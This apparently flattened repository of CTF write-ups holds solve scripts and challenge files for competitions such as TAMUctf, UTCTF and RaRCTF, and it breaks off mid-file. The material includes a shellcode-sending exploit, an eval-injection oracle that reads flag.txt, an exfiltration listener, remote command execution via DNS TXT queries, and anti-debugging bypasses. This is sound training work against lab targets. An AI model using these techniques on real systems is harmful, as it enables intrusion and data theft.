io.recvuntil('bf$ ') 23 | io.sendline(bf) 24 | return io.recv(size) 25 | 26 | 27 | def main(): 28 | for i in range(0x40): 29 | io = remote('challenges.tamuctf.com', 31337) 30 | 31 | sc = asm(shellcraft.amd64.linux.sh()) 32 | log.info('Shellcode is %i bytes long' % len(sc)) 33 | 34 | write_code(io, sc, offset=i) 35 | io.interactive() 36 | 37 | # read_code(io, JIT_SIZE) 38 | 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/mentalmath/readme.md: -------------------------------------------------------------------------------- 1 | # Mental Math 2 | 3 | This was an interesting web challenge. Inspecting source of the web page shows some partially commented out Python template language, hinting that the server is written in Python. 4 | 5 | Messing with the requests a little bit, it becomes clear that the server is essentialy `eval`-ing the expression we send in one parameter and comparing it to our submitted answer in another parameter. We can therefore use this as an oracle to bruteforce the value of each character in the flag file. 6 | 7 | Find my solution script [here](./solve.py). 8 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/mentalmath/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import json 4 | import string 5 | import subprocess 6 | 7 | ALPHABET = string.printable 8 | CURL = """\ 9 | 2>/dev/null curl 'http://mentalmath.tamuctf.com/ajax/new_problem' \ 10 | --compressed \ 11 | -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ 12 | -H 'X-Requested-With: XMLHttpRequest' \ 13 | -H 'Connection: keep-alive' \ 14 | --data 'problem=ord(open("flag.txt","r").read()[{pos}])&answer={guess}' 15 | """ 16 | 17 | 18 | def main(): 19 | flag = 'gigem{' 20 | while not flag.endswith('}'): 21 | pos = len(flag) 22 | 23 | for c in ALPHABET: 24 | guess = ord(c) 25 | result = json.loads( 26 | subprocess.check_output( 27 | CURL.format(pos=pos, guess=guess), shell=True 28 | ).decode() 29 | ) 30 | if result['correct']: 31 | flag += chr(guess) 32 | print(flag) 33 | break 34 | else: 35 | print('FAILED') 36 | return 37 | 38 | 39 | if __name__ == '__main__': 40 | main() 41 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/too-many-credits/listener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import base64 4 | import sys 5 | 6 | from http.server import BaseHTTPRequestHandler, HTTPServer 7 | 8 | 9 | class ExfilHandler(BaseHTTPRequestHandler): 10 | 11 | def log_request(self, code): 12 | tmpl = '%d - %s from %s to %s' 13 | msg = tmpl % (code, 14 | self.command, 15 | self.address_string(), 16 | self.path) 17 | 18 | try: 19 | exfil_data = base64.b64decode(self.path[1:]).decode() 20 | print(exfil_data) 21 | except Exception: 22 | print('Unable to decode data:') 23 | print(self.path) 24 | 25 | self.log_message(msg) 26 | 27 | 28 | def main(): 29 | server = HTTPServer(('127.0.0.1', 8888), ExfilHandler) 30 | try: 31 | print('Listening...') 32 | server.serve_forever() 33 | except KeyboardInterrupt: 34 | print('Ctrl-C! Quitting.') 35 | sys.exit(0) 36 | 37 | 38 | if __name__ == '__main__': 39 | main() 40 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/troll/readme.md: -------------------------------------------------------------------------------- 1 | # Troll 2 | 3 | After a quick look at this binary in Binary Ninja, looks like we can compute the answer to all of the questions it asks us if we control the `srand` seed. This seed can easily be overwritten to a value we control via a basic stack-based buffer overflow. 4 | 5 | Knowing the seed now, we can generate the required stream of random numbers with this C program: 6 | 7 | ```c 8 | #include 9 | #include 10 | 11 | #define SEED (0x42424242) 12 | 13 | int main(void) { 14 | int i; 15 | 16 | srand(SEED); 17 | for(i = 0; i < 0x64; ++i) { 18 | printf("%d\n", rand()); 19 | } 20 | 21 | return 0; 22 | } 23 | ``` 24 | 25 | And then store it for consumption by our Python solve script: 26 | 27 | ```sh 28 | gcc mkrand.c -o mkrand 29 | mkrand > rand.lst 30 | ``` 31 | 32 | Instead of reversing the computations performed on the result of the `rand` call, we can just emulate them with [Unicorn](https://github.com/unicorn-engine/unicorn/tree/master/bindings/python). This is implemented in the solve script [here](./solve.py). 33 | 34 | -------------------------------------------------------------------------------- /writeups/2020/utctf/crack-the-heart/readme.md: -------------------------------------------------------------------------------- 1 | # Crack the Heart 2 | 3 | I didn't solve this one during the competition, but wanted to try it out afterwards to practice some GDB tracing. 4 | 5 | ## Bypassing `ptrace` Anti-Debugging 6 | 7 | We can still `strace` the binary if we patch `ptrace` return values, but don't get anything useful: 8 | 9 | ```sh 10 | strace -e inject=ptrace:retval=0 ./cracktheheart 11 | ``` 12 | 13 | We can even make GDB overwrite the return code of the `ptrace` syscall: 14 | 15 | ```gdb 16 | catch syscall ptrace 17 | commands 18 | silent 19 | set $rax = 0 20 | continue 21 | end 22 | ``` 23 | 24 | ## Tracing for Answers 25 | 26 | To generate output to be consumed by a SAT solver script, we use the following: 27 | 28 | ```sh 29 | gdb --nx -q -x trace.gdb ./cracktheheart > trace.out 30 | ``` 31 | 32 | ## Solving the Trace 33 | 34 | By tracing a couple of the operations that work on the bytes of the .bss segment (which contains our input), we can leak a set of operations which provide enough information to setup a SAT model. The GDB tracing script that powered this can be found [here](./trace.gdb) and the Z3 solve script can be found [here](./solve.py). 35 | -------------------------------------------------------------------------------- /writeups/2020/utctf/crack-the-heart/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from z3 import * 4 | 5 | SOLUTION_LEN = 82 6 | 7 | 8 | def load_operands(): 9 | with open('trace.out', 'r') as f: 10 | for line in f: 11 | if not line.startswith('0x'): 12 | continue 13 | 14 | xor_operand, sub_operand = line.strip().split(',') 15 | yield int(xor_operand, 16), int(sub_operand, 16) 16 | 17 | 18 | def model_to_ascii(model, solution_vars): 19 | return ''.join( 20 | chr(model[sv].as_long()) for sv in solution_vars 21 | ) 22 | 23 | 24 | def main(): 25 | solver = Solver() 26 | 27 | solution_vars = [BitVec(f'c{i}', 8) for i in range(SOLUTION_LEN)] 28 | zip_iter = zip(solution_vars, load_operands()) 29 | for solution_var, (xor_operand, sub_operand) in zip_iter: 30 | solver.add((solution_var ^ xor_operand) == sub_operand) 31 | 32 | assert solver.check() == sat 33 | print(model_to_ascii(solver.model(), solution_vars)) 34 | 35 | 36 | if __name__ == '__main__': 37 | main() 38 | -------------------------------------------------------------------------------- /writeups/2020/utctf/crack-the-heart/trace.gdb: -------------------------------------------------------------------------------- 1 | set pagination off 2 | 3 | # Foil simple anti-debugging techniques. 4 | catch syscall ptrace 5 | commands 6 | silent 7 | set $rax = 0 8 | continue 9 | end 10 | 11 | # Use this snippet to determine the length of the expected solution. 12 | if (0) 13 | catch syscall read 14 | commands 15 | silent 16 | printf "Input read length: %d\n", $rdx 17 | continue 18 | end 19 | end 20 | 21 | # Watch access to .bss segment, which contains the global flag. This 22 | # snippet was used to eventually find the comparison routines that 23 | # lead to our eventual SAT model. 24 | if (0) 25 | rwatch *0x4149b0 26 | commands 27 | silent 28 | end 29 | end 30 | 31 | # Break on xor bl,al to record bl operand. 32 | break *0x4020a7 33 | commands 34 | silent 35 | printf "0x%x,", $bl & 0xff 36 | continue 37 | end 38 | 39 | # Break on sub al,bl to record al operand. 40 | break *0x40213b 41 | commands 42 | silent 43 | printf "0x%x\n", $al & 0xff 44 | continue 45 | end 46 | 47 | # Run the program with dummy input, filling the maximum read length. 48 | run < <(echo 'utflag{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}') >/dev/null 49 | quit -------------------------------------------------------------------------------- /writeups/2020/utctf/do-not-stop/readme.md: -------------------------------------------------------------------------------- 1 | # Do Not Stop 2 | ​ 3 | This networking problem involved emulating some C2 traffic from a PCAP. The solution flow was: 4 | 5 | * Observe that DNS requests 6 | * Observe that the real C2 server IP address is given as the A record response for `dns.google.com` using `35.225.16.21` as the name server. 7 | * Knowing the real C2/infected server address, execute base64-encoded commands on it to get the flag. 8 | 9 | These steps can be summarized with the following two commands: 10 | 11 | ```sh 12 | dig -t a dns.google.com @35.225.16.21 13 | 14 | # 3.88.57.227 is result of previous command. 15 | dig -t txt $(base64 <<< 'cat flag.txt') @3.88.57.227 16 | ``` 17 | -------------------------------------------------------------------------------- /writeups/2020/utctf/nittaku-3-star-premium/readme.md: -------------------------------------------------------------------------------- 1 | # Nittaku 3 Star Premium 2 | 3 | This networking problem involved observing some ICMP C2 patterns. Replaying them led to full extraction of a gzipped PNG file that was only partially exfiltrated in the provided PCAP. 4 | 5 | Find my solution [here](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2020/utctf/nittaku-3-star-premium/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from scapy.all import * 4 | 5 | TARGET = '3.88.183.122' 6 | NULL_DATA = b'\x00' * 48 7 | 8 | data = b'' 9 | i = 1 10 | while True: 11 | pkt = IP( 12 | dst=TARGET 13 | ) / ICMP( 14 | type='echo-request', 15 | id=0x1337, 16 | seq=i 17 | ) / NULL_DATA 18 | 19 | resp = sr1(pkt) 20 | resp_data = resp[Raw].load.rstrip(b'\n\x00') 21 | 22 | if not resp_data: 23 | break 24 | 25 | data += resp_data 26 | i += 1 27 | 28 | with open('out.b64', 'w') as f: 29 | f.write(data.decode()) 30 | -------------------------------------------------------------------------------- /writeups/2020/utctf/png2/readme.md: -------------------------------------------------------------------------------- 1 | # PNG2 2 | 3 | Pretty simple problem involving a custom image file format. I'm posting [this solution script](./solve.py) as a reference for future simple `Pillow`-based scripts. 4 | -------------------------------------------------------------------------------- /writeups/2020/utctf/random-ecb/readme.md: -------------------------------------------------------------------------------- 1 | # Random ECB 2 | 3 | From inspection of the [server source](./server.py), it becomes pretty obvious that this involves a chosen plaintext attack on ECB mode of operation. An explanation of how this kind of attack works is well-explained in the answers to [this StackOverflow answer](https://crypto.stackexchange.com/questions/42891/chosen-plaintext-attack-on-aes-in-ecb-mode). 4 | 5 | An implementation of my solution can be found [here](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2020/utctf/random-ecb/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Random.random import getrandbits 7 | 8 | # flag stubbed out for local testing. 9 | flag = b'utflag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' 10 | KEY = get_random_bytes(16) 11 | 12 | 13 | def aes_ecb_encrypt(plaintext, key): 14 | cipher = AES.new(key, AES.MODE_ECB) 15 | return cipher.encrypt(plaintext) 16 | 17 | 18 | def encryption_oracle(plaintext): 19 | b = getrandbits(1) 20 | plaintext = pad((b'A' * b) + plaintext + flag, 16) 21 | return aes_ecb_encrypt(plaintext, KEY).hex() 22 | 23 | 24 | if __name__ == '__main__': 25 | while True: 26 | print("Input a string to encrypt (input 'q' to quit):") 27 | user_input = input() 28 | if user_input == 'q': 29 | break 30 | output = encryption_oracle(user_input.encode()) 31 | print("Here is your encrypted string, have a nice day :)") 32 | print(output) 33 | -------------------------------------------------------------------------------- /writeups/2020/utctf/shrek-fans-only/readme.md: -------------------------------------------------------------------------------- 1 | # Shrek Fans Only 2 | 3 | The problem prompt hinted heavily that this challenge would involve plundering Git data. Inspection of HTML source revealed a pretty obvious LFI, which would be our engine for reading data from the `.git/` directory structure. 4 | 5 | For most Git-plundering-related challenges, I rely on [this blog post](http://web.archive.org/web/20200307035838/https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/). A somwhat automated version the blog post's process applied to this challenge is implemented in this [solution script](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2021/BambooFox-CTF/babystack/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:disco-20200114 2 | MAINTAINER Lys 3 | 4 | RUN sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list && \ 5 | apt-get update && \ 6 | DEBIAN_FRONTEND=noninteractive apt-get install -qy xinetd 7 | RUN useradd -m babystack 8 | RUN chown -R root:root /home/babystack 9 | RUN chmod -R 755 /home/babystack 10 | 11 | CMD ["/usr/sbin/xinetd","-dontfork"] 12 | -------------------------------------------------------------------------------- /writeups/2021/BambooFox-CTF/babystack/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | babystack: 5 | build: ./ 6 | volumes: 7 | - ./share:/home/babystack:ro 8 | - ./xinetd:/etc/xinetd.d/babystack:ro 9 | ports: 10 | - "10102:10101" 11 | expose: 12 | - "10101" 13 | -------------------------------------------------------------------------------- /writeups/2021/BambooFox-CTF/babystack/share/babystack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/BambooFox-CTF/babystack/share/babystack -------------------------------------------------------------------------------- /writeups/2021/BambooFox-CTF/babystack/share/flag: -------------------------------------------------------------------------------- 1 | flag{test} 2 | -------------------------------------------------------------------------------- /writeups/2021/BambooFox-CTF/babystack/share/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | exec 2>/dev/null 4 | timeout 60 /home/babystack/babystack -------------------------------------------------------------------------------- /writeups/2021/BambooFox-CTF/babystack/xinetd: -------------------------------------------------------------------------------- 1 | service babystack 2 | { 3 | disable = no 4 | type = UNLISTED 5 | wait = no 6 | server = /home/babystack/run.sh 7 | socket_type = stream 8 | protocol = tcp 9 | user = babystack 10 | port = 10101 11 | flags = REUSE 12 | } 13 | -------------------------------------------------------------------------------- /writeups/2021/DCTF/just-another-heap/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get update && apt-get install -y make gcc socat 3 | 4 | RUN groupadd pilot 5 | RUN useradd pilot --gid pilot 6 | 7 | COPY ./app /app 8 | WORKDIR /app 9 | 10 | ENTRYPOINT [ "bash", "/app/startService.sh" ] 11 | -------------------------------------------------------------------------------- /writeups/2021/DCTF/just-another-heap/just_another_heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/DCTF/just-another-heap/just_another_heap -------------------------------------------------------------------------------- /writeups/2021/DCTF/just-another-heap/just_another_heap.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/DCTF/just-another-heap/just_another_heap.bndb -------------------------------------------------------------------------------- /writeups/2021/DCTF/just-another-heap/ld-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/DCTF/just-another-heap/ld-2.27.so -------------------------------------------------------------------------------- /writeups/2021/DCTF/just-another-heap/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/DCTF/just-another-heap/libc-2.27.so -------------------------------------------------------------------------------- /writeups/2021/InCTF/ancient-house/Ancienthouse: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/InCTF/ancient-house/Ancienthouse -------------------------------------------------------------------------------- /writeups/2021/InCTF/ancient-house/Ancienthouse.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/InCTF/ancient-house/Ancienthouse.bndb -------------------------------------------------------------------------------- /writeups/2021/InCTF/ancient-house/libjemalloc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/InCTF/ancient-house/libjemalloc.so -------------------------------------------------------------------------------- /writeups/2021/InCTF/baby-glob/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/InCTF/baby-glob/chall -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/Dockerfile: -------------------------------------------------------------------------------- 1 | # how to use: 2 | # docker build -t plaidflix . 3 | # docker run --rm -p 9001:1337 plaidflix:latest 4 | # nc 127.0.0.1 9001 5 | FROM ubuntu:20.10 6 | 7 | RUN apt-get update && apt-get install -y socat 8 | 9 | RUN adduser --no-create-home --disabled-password --gecos "" ctf 10 | WORKDIR /home/ctf 11 | 12 | COPY --chown=root:ctf bin/plaidflix bin/flag.txt ./ 13 | RUN chmod 2750 plaidflix && \ 14 | chmod 0640 flag.txt 15 | 16 | USER ctf 17 | CMD ["socat", "tcp-listen:1337,fork,reuseaddr", "exec:./plaidflix"] 18 | 19 | EXPOSE 1337 20 | -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/bin/flag.txt: -------------------------------------------------------------------------------- 1 | PCTF{THIS_IS_A_FAKE_FLAG} 2 | -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/bin/plaidflix: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/PlaidCTF/plaidflix/bin/plaidflix -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/bin/plaidflix.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2021/PlaidCTF/plaidflix/bin/plaidflix.bndb -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/dev-docker-build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -f dev.Dockerfile -t plaidflix-dev . 3 | -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/dev-docker-run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -it -v $(pwd):/ctf plaidflix-dev /bin/bash 3 | -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/dev.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.10 2 | 3 | RUN apt-get update 4 | 5 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y build-essential gdb git 6 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y curl tmux vim wget 7 | RUN DEBIAN_FRONTEND=noninteractive apt-get install -y zlib1g-dev libbz2-dev libssl-dev libffi-dev libncurses5-dev libncursesw5-dev libreadline-dev libsqlite3-dev llvm xz-utils tk-dev liblzma-dev 8 | 9 | RUN useradd --create-home --shell /bin/bash ctf 10 | RUN echo "ctf:ctf" | chpasswd 11 | USER ctf 12 | 13 | ENV LC_CTYPE C.UTF-8 14 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh 15 | RUN wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef-extras.sh | sh 16 | 17 | RUN curl https://pyenv.run | bash 18 | 19 | ENV HOME /home/ctf 20 | ENV PYENV_ROOT $HOME/.pyenv 21 | ENV PATH $PYENV_ROOT/shims:$PYENV_ROOT/bin:$PATH 22 | RUN pyenv install 3.8.7 23 | RUN pyenv global 3.8.7 24 | RUN pyenv rehash 25 | 26 | RUN pip install pwntools z3-solver 27 | 28 | WORKDIR /ctf 29 | CMD /bin/bash 30 | -------------------------------------------------------------------------------- /writeups/2021/PlaidCTF/plaidflix/readme.md: -------------------------------------------------------------------------------- 1 | # Plaidflix 2 | 3 | Useful references: 4 | 5 | * [CUCTF 2020 Dr. Xorisaurus Heap Writeup (glibc 2.32 UAF)](https://www.willsroot.io/2020/10/cuctf-2020-dr-xorisaurus-heap-writeup.html) 6 | * [https://lanph3re.blogspot.com/2020/08/blog-post.html](https://lanph3re.blogspot.com/2020/08/blog-post.html) 7 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:alpine3.8 2 | WORKDIR /app 3 | COPY requirements.txt requirements.txt 4 | RUN pip install -r requirements.txt 5 | COPY static static 6 | COPY templates templates 7 | EXPOSE 5000 8 | COPY app.py app.py 9 | ENTRYPOINT ["python", "app.py"] 10 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/app/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | requests 3 | jsonschema -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/app/static/css/style.css: -------------------------------------------------------------------------------- 1 | .tab { 2 | overflow: hidden; 3 | border: 1px solid #ccc; 4 | background-color: #f1f1f1; 5 | } 6 | 7 | .tab button { 8 | background-color: inherit; 9 | float: left; 10 | border: none; 11 | outline: none; 12 | cursor: pointer; 13 | padding: 14px 16px; 14 | transition: 0.3s; 15 | } 16 | 17 | .tab button:hover { 18 | background-color: #ddd; 19 | } 20 | 21 | .tab button.active { 22 | background-color: #ccc; 23 | } 24 | 25 | .tabcontent { 26 | display: none; 27 | padding: 6px 12px; 28 | border: 1px solid #ccc; 29 | border-top: none; 30 | } 31 | 32 | ul { 33 | list-style-type: none; 34 | margin: 0; 35 | padding: 0; 36 | } 37 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/app/static/js/app.js: -------------------------------------------------------------------------------- 1 | function open_tab(evt, cityName) { 2 | var i, tabcontent, tablinks; 3 | 4 | tabcontent = document.getElementsByClassName("tabcontent"); 5 | for (i = 0; i < tabcontent.length; i++) { 6 | tabcontent[i].style.display = "none"; 7 | } 8 | 9 | tablinks = document.getElementsByClassName("tablinks"); 10 | for (i = 0; i < tablinks.length; i++) { 11 | tablinks[i].className = tablinks[i].className.replace(" active", ""); 12 | } 13 | 14 | document.getElementById(cityName).style.display = "block"; 15 | evt.currentTarget.className += " active"; 16 | } -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/app/templates/register.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Notes App Registration 5 | 6 | 7 | 8 | 13 |
14 | 15 | 16 |
17 | 18 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:alpine3.8 2 | WORKDIR /app 3 | COPY requirements.txt requirements.txt 4 | RUN pip install -r requirements.txt 5 | EXPOSE 5000 6 | COPY app.py app.py 7 | COPY flag.txt /flag.txt 8 | ENTRYPOINT ["python", "app.py"] 9 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/arithmetic/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | WORKDIR /app 3 | COPY package*.json ./ 4 | COPY index.js ./ 5 | RUN npm install 6 | CMD ["node", "index.js"] 7 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/arithmetic/index.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | 3 | let app = express(); 4 | app.listen(3000, () => { 5 | console.log("Arithmetic app up on 3000"); 6 | }); 7 | 8 | app.get('/add', (req, res) => { 9 | if (!(req.query.n1 && req.query.n2)) { 10 | res.json({"error": "No number provided"}); 11 | } 12 | res.json({"result": req.query.n1 + req.query.n2}); 13 | }); 14 | 15 | app.get('/sub', (req, res) => { 16 | if (!(req.query.n1 && req.query.n2)) { 17 | res.json({"error": "No number provided"}); 18 | } 19 | res.json({"result": req.query.n1 - req.query.n2}); 20 | }); 21 | 22 | app.get('/div', (req, res) => { 23 | if (!(req.query.n1 && req.query.n2)) { 24 | res.json({"error": "No number provided"}); 25 | } 26 | res.json({"result": req.query.n1 / req.query.n2}); 27 | }); 28 | 29 | app.get('/mul', (req, res) => { 30 | if (!(req.query.n1 && req.query.n2)) { 31 | res.json({"error": "No number provided"}); 32 | } 33 | res.json({"result": req.query.n1 * req.query.n2}); 34 | }); 35 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/arithmetic/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "checkers", 3 | "version": "1.0.0", 4 | "description": "An API to perform arithmetic", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.17.1" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/checkers/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | WORKDIR /app 3 | COPY package*.json ./ 4 | COPY index.js ./ 5 | RUN npm install 6 | CMD ["node", "index.js"] 7 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/checkers/index.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | const isEven = require("is-even"); 3 | const isOdd = require("is-odd"); 4 | const isNumber = require("is-number"); 5 | 6 | let app = express(); 7 | app.listen(3000, () => { 8 | console.log("Checker app up on 3000"); 9 | }); 10 | 11 | app.get('/is_even', (req, res) => { 12 | if (!req.query.n) { 13 | res.json({"error": "No number provided"}); 14 | } 15 | res.json({"result":isEven(req.query.n)}); 16 | }); 17 | 18 | app.get('/is_odd', (req, res) => { 19 | if (!req.query.n) { 20 | res.json({"error": "No number provided"}); 21 | } 22 | res.json({"result":isOdd(req.query.n)}); 23 | }); 24 | 25 | app.get('/is_number', (req, res) => { 26 | if (!req.query.n) { 27 | res.json({"error": "No number provided"}); 28 | } 29 | res.json({"result":isNumber(req.query.n)}); 30 | }); 31 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/checkers/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "checkers", 3 | "version": "1.0.0", 4 | "description": "An API to check various numerical properties", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.17.1", 13 | "is-even": "^1.0.0", 14 | "is-number": "^7.0.0", 15 | "is-odd": "^3.0.1" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/calculator/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | requests -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/manager/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:alpine3.8 2 | WORKDIR /app 3 | COPY requirements.txt requirements.txt 4 | RUN pip install -r requirements.txt 5 | EXPOSE 5000 6 | COPY app.py app.py 7 | COPY flag.txt /flag.txt 8 | ENTRYPOINT ["python", "app.py"] 9 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/manager/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | requests 3 | redis -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/manager/updater/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:latest 2 | COPY app /app 3 | WORKDIR /app 4 | RUN go build 5 | CMD ["/app/updater"] -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/manager/updater/app/go.mod: -------------------------------------------------------------------------------- 1 | module rars.win/updater 2 | 3 | go 1.16 4 | 5 | require github.com/buger/jsonparser v1.1.1 6 | require github.com/gomodule/redigo v1.8.5 7 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/manager/updater/app/go.sum: -------------------------------------------------------------------------------- 1 | github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= 2 | github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/gomodule/redigo v1.8.5 h1:nRAxCa+SVsyjSBrtZmG/cqb6VbTmuRzpg/PoTFlpumc= 5 | github.com/gomodule/redigo v1.8.5/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0= 6 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 7 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 8 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 9 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 10 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 11 | -------------------------------------------------------------------------------- /writeups/2021/RaRCTF/microservices-as-a-service/MAAS/notes/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.0-alpine 2 | COPY flag.txt /flag.txt 3 | WORKDIR /app 4 | COPY requirements.txt requirements.txt 5 | RUN pip install -r requirements.txt 6 | EXPOSE 5000 7 | COPY app.py app.py 8 | ENTRYPOINT ["python", 